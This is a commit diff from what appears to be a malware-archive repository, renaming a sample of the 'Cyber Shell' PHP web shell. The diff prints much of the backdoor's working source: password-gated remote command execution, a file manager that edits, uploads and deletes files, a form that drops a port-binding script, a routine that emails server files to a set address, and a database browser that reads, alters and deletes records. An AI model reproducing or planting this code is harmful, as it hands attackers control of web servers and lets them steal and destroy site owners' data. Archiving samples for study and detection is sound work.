Rename Backdoor.PHP.Agent.p to Backdoor.PHP.CyberShell.a

This commit is contained in:
vxunderground 2020-10-15 20:38:07 -05:00 committed by GitHub
parent 9dbf144641
commit 5787c5aca7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -24,11 +24,11 @@
@set_magic_quotes_runtime(0); @set_magic_quotes_runtime(0);
@error_reporting(0); @error_reporting(0);
/****************************** Options ************************************/ /****************************** Options ************************************/
#ïàðîëü íà àâòîðèçàöèþ #ïàðîëü íà àâòîðèçàöèþ
$aupassword="test"; $aupassword="test";
#åñëè ïàðîëü óñòàíîâëåí ïðè $hiddenmode="true", òî ê ñêðèïòó íóæíî îáðàùàòüñÿ ñ ïàðàìåòðîì pass=ïàðîëü , íàïðèìåð shell.php?pass=mysecretpass #åñëè ïàðîëü óñòàíîâëåí ïðè $hiddenmode="true", òî ê ñêðèïòó íóæíî îáðàùàòüñÿ ñ ïàðàìåòðîì pass=ïàðîëü , íàïðèìåð shell.php?pass=mysecretpass
$hiddenmode="false"; $hiddenmode="false";
#e-mail íà êîòîðûé ñêèäûâàþòñÿ âûáðàííûå ôàéëû #e-mail íà êîòîðûé ñêèäûâàþòñÿ âûáðàííûå ôàéëû
$email="test@mail.ru"; $email="test@mail.ru";
/***************************************************************************/ /***************************************************************************/
$style=" $style="
@ -204,7 +204,7 @@ function anonim_mail($from,$to,$subject,$text,$file){
$info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$filename \nContent-disposition: inline; filename=$filename \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--"; $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$filename \nContent-disposition: inline; filename=$filename \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--";
$send = mail($to, $subject, $info, $headers); $send = mail($to, $subject, $info, $headers);
fclose($fp); fclose($fp);
echo "<script language=\"javascript\">location.href=\"javascript:history.back(-1)\";\nalert('Ôàéë $filename îòïðàâëåí íà $to');</script>"; echo "<script language=\"javascript\">location.href=\"javascript:history.back(-1)\";\nalert('Ôàéë $filename îòïðàâëåí íà $to');</script>";
die; die;
} }
if (!empty($_GET[downloadfile])) downloadfile($_GET[downloadfile]); if (!empty($_GET[downloadfile])) downloadfile($_GET[downloadfile]);
@ -314,35 +314,35 @@ echo <<< EOF
<table width="505" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#FFFFF0" style="height:30px;background-image: url($PHP_SELF?imgname=bg); background-position: center; background-repeat: repeat-x;"> <table width="505" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#FFFFF0" style="height:30px;background-image: url($PHP_SELF?imgname=bg); background-position: center; background-repeat: repeat-x;">
<tr height="15"> <tr height="15">
<td onClick='location.href="$PHP_SELF?d=$backdir&show"' width="20%" align="center"> <td onClick='location.href="$PHP_SELF?d=$backdir&show"' width="20%" align="center">
Ââåðõ Ââåðõ
</td> </td>
<td onClick='location.href="javascript:history.back(-1)"' width="20%" align="center"> <td onClick='location.href="javascript:history.back(-1)"' width="20%" align="center">
Íàçàä Íàçàä
</td> </td>
<td onClick='location.href="$PHP_SELF"' width="20%" align="center"> <td onClick='location.href="$PHP_SELF"' width="20%" align="center">
 íà÷àëî  íà÷àëî
</td> </td>
<td onClick='location.href="$PHP_SELF?d=$d&tools"' width="20%" align="center"> <td onClick='location.href="$PHP_SELF?d=$d&tools"' width="20%" align="center">
Èíñòðóìåíòû Èíñòðóìåíòû
</td> </td>
<td onClick='location.href="$PHP_SELF?d=$d&show"' width="20%" align="center"> <td onClick='location.href="$PHP_SELF?d=$d&show"' width="20%" align="center">
Ê ñïèñêó Ê ñïèñêó
</td> </td>
</tr> </tr>
</table> </table>
EOF; EOF;
$free = countbyte(diskfreespace("./")); $free = countbyte(diskfreespace("./"));
if (!empty($free)) echo "Äîñòóïíîå äèñêîâîå ïðîñòðàíñòâî : <font face='Tahoma' size='1' color='#000000'>$free</font><br>"; if (!empty($free)) echo "Äîñòóïíîå äèñêîâîå ïðîñòðàíñòâî : <font face='Tahoma' size='1' color='#000000'>$free</font><br>";
$os=exec("uname"); $os=exec("uname");
if (!empty($os)) echo "Ñèñòåìà :".$os."<br>"; if (!empty($os)) echo "Ñèñòåìà :".$os."<br>";
if (!empty($REMOTE_ADDR)) echo "Âàø IP: <font face='Tahoma' size='1' color='#000000'>$REMOTE_ADDR &nbsp; $HTTP_X_FORWARDED_FOR</font><br>"; if (!empty($REMOTE_ADDR)) echo "Âàø IP: <font face='Tahoma' size='1' color='#000000'>$REMOTE_ADDR &nbsp; $HTTP_X_FORWARDED_FOR</font><br>";
$ghz=exec("cat /proc/cpuinfo | grep GHz"); $ghz=exec("cat /proc/cpuinfo | grep GHz");
if (!empty($ghz)) echo "Èíôà î æåëåçå:(GHz)".$ghz."<br>"; if (!empty($ghz)) echo "Èíôà î æåëåçå:(GHz)".$ghz."<br>";
$mhz=exec("cat /proc/cpuinfo | grep MHz"); $mhz=exec("cat /proc/cpuinfo | grep MHz");
if (!empty($mhz)) echo "Èíôà î æåëåçå:(MHz) ".$mhz."<br>"; if (!empty($mhz)) echo "Èíôà î æåëåçå:(MHz) ".$mhz."<br>";
$my_id=exec("id"); $my_id=exec("id");
if (!empty($my_id)) echo "<div style=\"background-color:#000000\"><span class=\"style4\">Ïîëüçîâàòåëü:".$my_id."</span></div>"; if (!empty($my_id)) echo "<div style=\"background-color:#000000\"><span class=\"style4\">Ïîëüçîâàòåëü:".$my_id."</span></div>";
} }
function showdir($df) { function showdir($df) {
@ -368,8 +368,8 @@ echo <<< EOF
<tr height="1"> <tr height="1">
<td width="1" height="1" align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"><span class="style2"><a href="$PHP_SELF?d=$df/$dirs[$i]&show"><img HSPACE=3 border=0 src=$PHP_SELF?imgname=dir></a></span></td> <td width="1" height="1" align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"><span class="style2"><a href="$PHP_SELF?d=$df/$dirs[$i]&show"><img HSPACE=3 border=0 src=$PHP_SELF?imgname=dir></a></span></td>
<td width="241" bgcolor="#FFFFF0"><a href="$PHP_SELF?d=$df/$dirs[$i]&show">$dirs[$i]</a></td> <td width="241" bgcolor="#FFFFF0"><a href="$PHP_SELF?d=$df/$dirs[$i]&show">$dirs[$i]</a></td>
<td width="100" align="center" bgcolor="#FFFFFF"><a href="$PHP_SELF?deldir=$df/$dirs[$i]/">Óäàëèòü</a></td> <td width="100" align="center" bgcolor="#FFFFFF"><a href="$PHP_SELF?deldir=$df/$dirs[$i]/">Óäàëèòü</a></td>
<td width="51" align="center" bgcolor="#EFFFFF"><span class="style8"><center>Êàòàëîã</center></span></td> <td width="51" align="center" bgcolor="#EFFFFF"><span class="style8"><center>Êàòàëîã</center></span></td>
<td width="113" align="center" bgcolor="#FFFFF0">$perm</td> <td width="113" align="center" bgcolor="#FFFFF0">$perm</td>
</tr> </tr>
EOF; EOF;
@ -427,7 +427,7 @@ if (count($dirs)==0 && count($files)==0){
echo <<< EOF echo <<< EOF
<table width="505" height="24" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> <table width="505" height="24" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
<tr> <tr>
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">Ïàïêà ïóñòà</td> <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">Ïàïêà ïóñòà</td>
</tr> </tr>
</table> </table>
EOF; EOF;
@ -435,9 +435,9 @@ EOF;
$edit=$_REQUEST[edit]; $edit=$_REQUEST[edit];
if (isset($_REQUEST[edit]) && (!empty($_REQUEST[edit])) && (!isset($_REQUEST[ashtml])) ){ if (isset($_REQUEST[edit]) && (!empty($_REQUEST[edit])) && (!isset($_REQUEST[ashtml])) ){
$file=fopen($edit,"r") or die ("Íåò äîñòóïà ê ôàéëó $edit"); $file=fopen($edit,"r") or die ("Íåò äîñòóïà ê ôàéëó $edit");
if (filesize($edit) > 0) if (filesize($edit) > 0)
$tfile=fread($file,filesize($edit)) or die ("Íåò äîñòóïà ê ôàéëó $edit"); $tfile=fread($file,filesize($edit)) or die ("Íåò äîñòóïà ê ôàéëó $edit");
else $tfile = ""; else $tfile = "";
fclose($file); fclose($file);
$tfile = htmlspecialchars($tfile,ENT_QUOTES); $tfile = htmlspecialchars($tfile,ENT_QUOTES);
@ -446,15 +446,15 @@ echo "
<form action=\"$PHP_SELF\" method=\"POST\">"; <form action=\"$PHP_SELF\" method=\"POST\">";
$mydir=updir($edit); $mydir=updir($edit);
echo " echo "
<a href=\"$PHP_SELF?d=$mydir&show\">Âåðíóòüñÿ ê $mydir/</a><br> <a href=\"$PHP_SELF?d=$mydir&show\">Âåðíóòüñÿ ê $mydir/</a><br>
Âû ðåäàêòèðóåòå ôàéë : $edit<br> Âû ðåäàêòèðóåòå ôàéë : $edit<br>
<a href=\"$PHP_SELF?edit=$edit&ashtml\"><span class=\"style4\">Ïðîñìîòðåòü ýòîò ôàéë â âèäå HTML</span></a> <a href=\"$PHP_SELF?edit=$edit&ashtml\"><span class=\"style4\">Ïðîñìîòðåòü ýòîò ôàéë â âèäå HTML</span></a>
<hr width=\"100%\" size=\"2\" color=\"#000000\"> <hr width=\"100%\" size=\"2\" color=\"#000000\">
<textarea name=\"texoffile\" rows=\"25\" cols=\"60\" wrap=\"OFF\">$tfile</textarea> <textarea name=\"texoffile\" rows=\"25\" cols=\"60\" wrap=\"OFF\">$tfile</textarea>
<br><input type=\"hidden\" name=\"nameoffile\" value=\"$edit\" > <br><input type=\"hidden\" name=\"nameoffile\" value=\"$edit\" >
"; ";
if (!isset($_REQUEST[readonly])) if (!isset($_REQUEST[readonly]))
echo "<input type=\"submit\" value=\" Ñîõðàíèòü \" >"; echo "<input type=\"submit\" value=\" Ñîõðàíèòü \" >";
echo " echo "
<hr width=\"100%\" size=\"2\" color=\"#000000\"> <hr width=\"100%\" size=\"2\" color=\"#000000\">
</form> </form>
@ -465,8 +465,8 @@ if (isset($edit) && (!empty($edit)) && (isset($ashtml))){
$mydir=updir($edit); $mydir=updir($edit);
echo " echo "
<center> <center>
<a href=\"$PHP_SELF?d=$mydir&show\">Âåðíóòüñÿ ê $mydir/</a><br> <a href=\"$PHP_SELF?d=$mydir&show\">Âåðíóòüñÿ ê $mydir/</a><br>
Âû ïðîñìàòðèâàåòå ôàéë : $edit Âû ïðîñìàòðèâàåòå ôàéë : $edit
<hr width=\"100%\" size=\"2\" color=\"#000000\"> <hr width=\"100%\" size=\"2\" color=\"#000000\">
"; ";
readfile($edit); readfile($edit);
@ -479,7 +479,7 @@ echo "
if (isset($texoffile) && isset($nameoffile)) if (isset($texoffile) && isset($nameoffile))
{ {
$texoffile=unbug($texoffile); $texoffile=unbug($texoffile);
$f = fopen("$nameoffile", "w") or die ("Íåò äîñòóïà ê ôàéëó $nameoffile"); $f = fopen("$nameoffile", "w") or die ("Íåò äîñòóïà ê ôàéëó $nameoffile");
fwrite($f, "$texoffile"); fwrite($f, "$texoffile");
fclose($f); fclose($f);
$mydir=updir($nameoffile); $mydir=updir($nameoffile);
@ -523,7 +523,7 @@ echo <<< EOF
<table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC"> <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
<tr> <tr>
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"> <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
.: Äåéñòâèÿ äëÿ äàííîé ïàïêè :. .: Äåéñòâèÿ äëÿ äàííîé ïàïêè :.
</td> </td>
</tr> </tr>
</table> </table>
@ -536,14 +536,14 @@ echo <<< EOF
<tr height="10"> <tr height="10">
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF"> <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
<form action="$PHP_SELF" method="POST"> <form action="$PHP_SELF" method="POST">
.: Ñîçäàòü ïàïêó :. .: Ñîçäàòü ïàïêó :.
</td> </td>
</tr height="10"> </tr height="10">
<tr> <tr>
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"> <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
<input type=hidden name=tools> <input type=hidden name=tools>
<input type=text size=55 name=newdir value="$d/Íîâàÿ ïàïêà"> <input type=text size=55 name=newdir value="$d/Íîâàÿ ïàïêà">
<input type=submit value="ñîçäàòü"> <input type=submit value="ñîçäàòü">
</form> </form>
</td> </td>
</tr> </tr>
@ -587,14 +587,14 @@ echo <<< EOF
<tr height="10"> <tr height="10">
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF"> <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
<form action="$PHP_SELF" method="POST"> <form action="$PHP_SELF" method="POST">
.: Ñîçäàòü ôàéë :. .: Ñîçäàòü ôàéë :.
</td> </td>
</tr height="10"> </tr height="10">
<tr> <tr>
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"> <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
<input type=text size=55 name=newfile value="$d/newfile.php"> <input type=text size=55 name=newfile value="$d/newfile.php">
<input type=hidden name=tools> <input type=hidden name=tools>
<input type=submit value="ñîçäàòü"> <input type=submit value="ñîçäàòü">
</form> </form>
</td> </td>
</tr> </tr>
@ -617,15 +617,15 @@ echo <<< EOF
<tr height="10"> <tr height="10">
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF"> <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
<form action="$PHP_SELF" method="POST"> <form action="$PHP_SELF" method="POST">
.: Îòêðûòü ïîðò :. .: Îòêðûòü ïîðò :.
</td> </td>
</tr height="10"> </tr height="10">
<tr> <tr>
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"> <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
Èìÿ ñêðèïòà: <input type=text size=13 name=bfileneme value="bind.pl"> Ïîðò: <input type=text size=10 name=bport value="65426"> Èìÿ ñêðèïòà: <input type=text size=13 name=bfileneme value="bind.pl"> Ïîðò: <input type=text size=10 name=bport value="65426">
<input type="hidden" name="d" value="$d" > <input type="hidden" name="d" value="$d" >
<input type=hidden name=tools> <input type=hidden name=tools>
<input type=submit value="âûïîëíèòü"> <input type=submit value="âûïîëíèòü">
</form> </form>
</td> </td>
</tr> </tr>
@ -676,7 +676,7 @@ echo <<< EOF
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF"> <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
<form action="$PHP_SELF" method="GET"> <form action="$PHP_SELF" method="GET">
<input type="hidden" name="d" value="$d" > <input type="hidden" name="d" value="$d" >
.: Âûïîëíèòü êîìàíäó :. .: Âûïîëíèòü êîìàíäó :.
</td> </td>
</tr height="10"> </tr height="10">
<tr> <tr>
@ -684,7 +684,7 @@ echo <<< EOF
<input type=hidden name=diz> <input type=hidden name=diz>
<input type=hidden name=tbash> <input type=hidden name=tbash>
<input type=text size=55 name=cmd value="$cmd"> <input type=text size=55 name=cmd value="$cmd">
<input type=submit value="âûïîëíèòü"> <input type=submit value="âûïîëíèòü">
</form> </form>
</td> </td>
</tr> </tr>
@ -707,7 +707,7 @@ echo <<< EOF
<tr height="10"> <tr height="10">
<td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF"> <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
<form ENCTYPE="multipart/form-data" action="$PHP_SELF" method="post"> <form ENCTYPE="multipart/form-data" action="$PHP_SELF" method="post">
.: Çàêà÷àòü ôàéë â òåêóùèé êàòàëîã :. .: Çàêà÷àòü ôàéë â òåêóùèé êàòàëîã :.
</td> </td>
</tr height="10"> </tr height="10">
<tr> <tr>
@ -716,7 +716,7 @@ echo <<< EOF
<input type="hidden" name="d" value="$d"> <input type="hidden" name="d" value="$d">
<input type=hidden name=diz> <input type=hidden name=diz>
<input type=hidden name=tupload> <input type=hidden name=tupload>
<input type="submit" name=go value="Îòïðàâèòü"> <input type="submit" name=go value="Îòïðàâèòü">
</form> </form>
</td> </td>
</tr> </tr>
@ -726,9 +726,9 @@ EOF;
} }
else { else {
if (is_uploaded_file($userfile)) { if (is_uploaded_file($userfile)) {
$fi = "Çàêà÷åí ôàéë $userfile_name ðàçìåðîì $userfile_size áàéò â äèðåêòîðèþ $updir"; $fi = "Çàêà÷åí ôàéë $userfile_name ðàçìåðîì $userfile_size áàéò â äèðåêòîðèþ $updir";
} }
echo "$fi<br><a href='$PHP_SELF?d=$d&show&tupload'>Íàçàä ê êàòàëîãó</a>"; echo "$fi<br><a href='$PHP_SELF?d=$d&show&tupload'>Íàçàä ê êàòàëîãó</a>";
} }
if (is_uploaded_file($userfile)) { if (is_uploaded_file($userfile)) {
$dest=$updir.$userfile_name; $dest=$updir.$userfile_name;
@ -736,7 +736,7 @@ move_uploaded_file($userfile, $dest);
}} }}
if ((isset($db_server)) || (isset($db_user)) || (isset($db_pass)) ){ if ((isset($db_server)) || (isset($db_user)) || (isset($db_pass)) ){
mysql_connect($db_server, $db_user, $db_pass) or die("íå ìîãó ïîäêëþ÷èòüñÿ ê áàçå"); mysql_connect($db_server, $db_user, $db_pass) or die("íå ìîãó ïîäêëþ÷èòüñÿ ê áàçå");
} }
if ((isset($dbname)) and (isset($table)) ) if ((isset($dbname)) and (isset($table)) )
@ -746,7 +746,7 @@ if (substr($var,0,7) == 'newpole'){
if (substr($var,7,strlen($var)) !== ''){ if (substr($var,7,strlen($var)) !== ''){
$indif=substr($var,7,strlen($var)); $indif=substr($var,7,strlen($var));
echo " $val "; echo " $val ";
mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ"); mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
if ($xvar == "") if ($xvar == "")
$xvar .= $indif; $xvar .= $indif;
else else
@ -761,8 +761,8 @@ if ($xvar != ""){
mysql_query("INSERT INTO $table ($xvar) values ($xval)"); mysql_query("INSERT INTO $table ($xvar) values ($xval)");
} }
echo "<a href=$PHP_SELF?showtables=$dbname&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>Íàçàä ê ñïèñêó òàáëèö ÁÄ:$dbname</a>"; echo "<a href=$PHP_SELF?showtables=$dbname&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>Íàçàä ê ñïèñêó òàáëèö ÁÄ:$dbname</a>";
mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ"); mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
$re=mysql_query("select * from $table"); $re=mysql_query("select * from $table");
echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>"; echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>";
@ -797,7 +797,7 @@ $pixid=$val;
} }
if ($nvar == 128945432){ if ($nvar == 128945432){
$valtext=untag($val); $valtext=untag($val);
if ($valtext == "") $valtext="=Ïóñòî="; if ($valtext == "") $valtext="=Ïóñòî=";
if ($_SESSION[lenth] == "on"){ if ($_SESSION[lenth] == "on"){
@ -809,7 +809,7 @@ $valtext .="...";
echo "<td><a href=$PHP_SELF?dbname=$dbname&mtable=$table&var=$var&pixidname=$pixidname&pixid=$pixid&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$valtext</a></td>"; echo "<td><a href=$PHP_SELF?dbname=$dbname&mtable=$table&var=$var&pixidname=$pixidname&pixid=$pixid&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$valtext</a></td>";
}} }}
echo "<td><a href=$PHP_SELF?dbname=$dbname&mtable=$table&pixidname=$pixidname&pixid=$pixid&db_server=$db_server&db_user=$db_user&db_pass=$db_pass&del>Óäàëèòü</a></td></tr>"; echo "<td><a href=$PHP_SELF?dbname=$dbname&mtable=$table&pixidname=$pixidname&pixid=$pixid&db_server=$db_server&db_user=$db_user&db_pass=$db_pass&del>Óäàëèòü</a></td></tr>";
$pixidname=''; $pixidname='';
$pixid=''; $pixid='';
} }
@ -844,7 +844,7 @@ echo "<td bgcolor='#FFFFFF' bordercolor='#FFFFFF'><center><input type='text' nam
}} }}
echo "</tr>"; echo "</tr>";
echo "</table>"; echo "</table>";
echo "<input type=\"submit\" value=\"Äîáàâèòü íîâóþ çàïèñü\" >"; echo "<input type=\"submit\" value=\"Äîáàâèòü íîâóþ çàïèñü\" >";
echo " echo "
<input type=\"hidden\" name=\"dbname\" value=\"$dbname\"> <input type=\"hidden\" name=\"dbname\" value=\"$dbname\">
<input type=\"hidden\" name=\"table\" value=\"$table\"> <input type=\"hidden\" name=\"table\" value=\"$table\">
@ -857,18 +857,18 @@ echo "</form>";
if ((isset($dbname)) and (isset($mtable)) and (isset($pixidname)) and (isset($pixid)) and (isset($del))){ if ((isset($dbname)) and (isset($mtable)) and (isset($pixidname)) and (isset($pixid)) and (isset($del))){
echo "hello"; echo "hello";
mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ"); mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
mysql_query("delete from $mtable where $pixidname='$pixid'"); mysql_query("delete from $mtable where $pixidname='$pixid'");
echo "<head><meta http-equiv=\"refresh\" content=\"0;URL=$PHP_SELF?dbname=$dbname&table=$mtable&db_server=$db_server&db_user=$db_user&db_pass=$db_pass\"></head>"; echo "<head><meta http-equiv=\"refresh\" content=\"0;URL=$PHP_SELF?dbname=$dbname&table=$mtable&db_server=$db_server&db_user=$db_user&db_pass=$db_pass\"></head>";
} }
if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid)) and (isset($textofmysql))){ if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid)) and (isset($textofmysql))){
mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ"); mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
mysql_query("update $mtable set $var='$textofmysql' where $pixidname=$pixid"); mysql_query("update $mtable set $var='$textofmysql' where $pixidname=$pixid");
} }
if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid))){ if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid))){
mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ"); mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
$re=mysql_query("select $var from $mtable where $pixidname='$pixid'"); $re=mysql_query("select $var from $mtable where $pixidname='$pixid'");
$res=mysql_fetch_array($re); $res=mysql_fetch_array($re);
$text=untag($res[$var]); $text=untag($res[$var]);
@ -884,16 +884,16 @@ echo "
<input type=\"hidden\" name=\"db_server\" value=\"$db_server\" > <input type=\"hidden\" name=\"db_server\" value=\"$db_server\" >
<input type=\"hidden\" name=\"db_user\" value=\"$db_user\" > <input type=\"hidden\" name=\"db_user\" value=\"$db_user\" >
<input type=\"hidden\" name=\"db_pass\" value=\"$db_pass\" > <input type=\"hidden\" name=\"db_pass\" value=\"$db_pass\" >
<br><input type=\"submit\" value=\" Èçìåíèòü \" > <br><input type=\"submit\" value=\" Èçìåíèòü \" >
</form> </form>
<a href=$PHP_SELF?dbname=$dbname&table=$mtable&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>Âåðíóòüñÿ ê ñïèñêó</a> <a href=$PHP_SELF?dbname=$dbname&table=$mtable&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>Âåðíóòüñÿ ê ñïèñêó</a>
"; ";
} }
if (isset($showdb) && empty($showtables)){ if (isset($showdb) && empty($showtables)){
$re=mysql_query("show databases"); $re=mysql_query("show databases");
echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>"; echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>";
echo "<tr><td><center><div style='background-color:#CCCCFF'><span class='style5'>Ñïèñîê äîñòóïíûõ ÁÄ:</span></div></center></td></tr>"; echo "<tr><td><center><div style='background-color:#CCCCFF'><span class='style5'>Ñïèñîê äîñòóïíûõ ÁÄ:</span></div></center></td></tr>";
while($res=mysql_fetch_array($re)){ while($res=mysql_fetch_array($re)){
echo "<tr><td><center><a href=$PHP_SELF?showtables=$res[0]&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$res[0]</a></center></td></tr>"; echo "<tr><td><center><a href=$PHP_SELF?showtables=$res[0]&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$res[0]</a></center></td></tr>";
} }
@ -908,10 +908,10 @@ $_SESSION[lenth]=$xlenth;
else $_SESSION[lenth]=""; else $_SESSION[lenth]="";
} }
echo "<a href=$PHP_SELF?showdb&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>Íàçàä ê ñïèñêó ÁÄ</a>"; echo "<a href=$PHP_SELF?showdb&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>Íàçàä ê ñïèñêó ÁÄ</a>";
$re=mysql_query("SHOW TABLES FROM $showtables"); $re=mysql_query("SHOW TABLES FROM $showtables");
echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>"; echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>";
echo "<tr><td><center><div style='background-color:#CCCCFF'><span class='style5'>$showtables - Ñïèñîê òàáëèö: </span></div></center></td></tr>"; echo "<tr><td><center><div style='background-color:#CCCCFF'><span class='style5'>$showtables - Ñïèñîê òàáëèö: </span></div></center></td></tr>";
while($res=mysql_fetch_array($re)){ while($res=mysql_fetch_array($re)){
echo "<tr><td><center><a href=$PHP_SELF?dbname=$showtables&table=$res[0]&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$res[0]</a></td></tr>"; echo "<tr><td><center><a href=$PHP_SELF?dbname=$showtables&table=$res[0]&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$res[0]</a></td></tr>";
} }
@ -928,7 +928,7 @@ echo <<< EOF
<input type="hidden" name="db_server" value="$db_server" > <input type="hidden" name="db_server" value="$db_server" >
<input type="hidden" name="db_user" value="$db_user" > <input type="hidden" name="db_user" value="$db_user" >
<input type="hidden" name="db_pass" value="$db_pass" > <input type="hidden" name="db_pass" value="$db_pass" >
îãðàíè÷åíèå íà êîëè÷åñòâî âûâîäèìûõ ïîëåé:<br> îãðàíè÷åíèå íà êîëè÷åñòâî âûâîäèìûõ ïîëåé:<br>
<select name="xlimit"> <select name="xlimit">
<option value="0">&#1055;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100; &#1074;&#1089;&#1105;</option> <option value="0">&#1055;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100; &#1074;&#1089;&#1105;</option>
<option value="10">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 10</option> <option value="10">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 10</option>
@ -941,11 +941,11 @@ echo <<< EOF
<option value="1000">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 1000</option> <option value="1000">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 1000</option>
<option value="5000">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 5000</option> <option value="5000">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 5000</option>
</select> </select>
<br>Âêëþ÷èòü îãðàíè÷åíèå íà äëèíó âûâîäèìûõ ïîëåé <input name="xlenth" type="checkbox" value="on" $ch><br> <br>Âêëþ÷èòü îãðàíè÷åíèå íà äëèíó âûâîäèìûõ ïîëåé <input name="xlenth" type="checkbox" value="on" $ch><br>
<input type="submit" value="Ïðèìåíèòü" > <input type="submit" value="Ïðèìåíèòü" >
EOF; EOF;
if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0")) if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0"))
echo "<br>Òåêóùåå îãðàíè÷åíèå: $_SESSION[limit]"; echo "<br>Òåêóùåå îãðàíè÷åíèå: $_SESSION[limit]";
} }
if (isset($tools) or isset($tmysql)) if (isset($tools) or isset($tmysql))
@ -987,7 +987,7 @@ Password MySQL
</tr> </tr>
<tr align='center' > <tr align='center' >
<td> <td>
Èìÿ ÁÄ (íå îáÿçàòåëüíî) Èìÿ ÁÄ (íå îáÿçàòåëüíî)
</td> </td>
<td> <td>
<input type='text' name='showtables' value=''> <input type='text' name='showtables' value=''>
@ -1010,7 +1010,7 @@ Password MySQL
"; ";
} }
echo <<< EOF echo <<< EOF
<center>.:Cyber Shell (v 1.0):.<br>Copyright © <a href="http://www.cyberlords.net" target="_blank">Cyber Lords Community</a>, 2002-2006</center> <center>.:Cyber Shell (v 1.0):.<br>Copyright © <a href="http://www.cyberlords.net" target="_blank">Cyber Lords Community</a>, 2002-2006</center>
</td> </td>
</tr> </tr>
</table> </table>
@ -1020,11 +1020,11 @@ $d=tourl($d);
echo " echo "
<center> <center>
<span class='style1'> <span class='style1'>
